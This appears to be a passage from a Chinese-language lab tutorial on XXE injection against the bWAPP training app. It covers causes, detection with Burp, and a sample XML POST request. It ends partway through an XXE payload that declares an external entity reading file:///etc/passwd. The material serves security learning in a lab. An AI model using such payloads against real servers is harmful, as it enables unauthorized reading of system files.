本次测试XXE主要在靶机上安装了bWAPP程序,中间有一关为XXE漏洞很好做测试了解XXE漏洞。
靶机:192.168.56.101
攻击机kali:192.168.56.1
目录
了解XXE漏洞原理
漏洞成因
XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。
xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。
怎么判断网站是否存在XXE漏洞
最直接的方法就是用burp抓包,然后,修改HTTP请求方法,查看是否有提交xml文档,然后修改提交的xml文档,或者修改一些Content-Type头部字段等等,查看返回包的响应,看看应用程序是否解析了发送的内容,一旦解析了,那么有可能XXE攻击漏洞。
实例:在bWAPP的xml注入一关中
点击bugs提交,使用burp抓包
会发现提交的数据是xml形式的,我们修改其中实体值如果改变,则证明后台服务器有解析这段内容个,那么就可能存在xxe漏洞
login元素中的实体可以被解析返回
然后就可以尝试通过外部实体调用来处理login元素中的数据,看能否获取服务器的其它内容
基本利用
正常提交
以下是一个简单的XML代码POST请求示例,POST的数据是xml文档:
POST /vulnerable HTTP/1.1
Host: www.test.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://test.com/test.html
Content-Type: application/xml
Content-Length: 294
Cookie: mycookie=cookies;
Connection: close
Upgrade-Insecure-Requests: 1
<?xml version="1.0"?>
<catalog>
<core id="test101">
<author>John, Doe</author>
<title>I love XML</title>
<category>Computers</category>
<price>9.99</price>
<date>2018-10-01</date>
<description>XML is the best!</description>
</core>
</catalog>
正常返回
之后,上述代码将交由服务器的XML处理器解析。代码被解释并返回:{"Request Successful": "Added!"}
xml注入
修改post的xml文档,这里使用DTD定义一个外部实体,外部实体的内容为本地文件。
<?xml version="1.0"?>
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<catalog>
<core id="test101">
<author>John, Doe</author>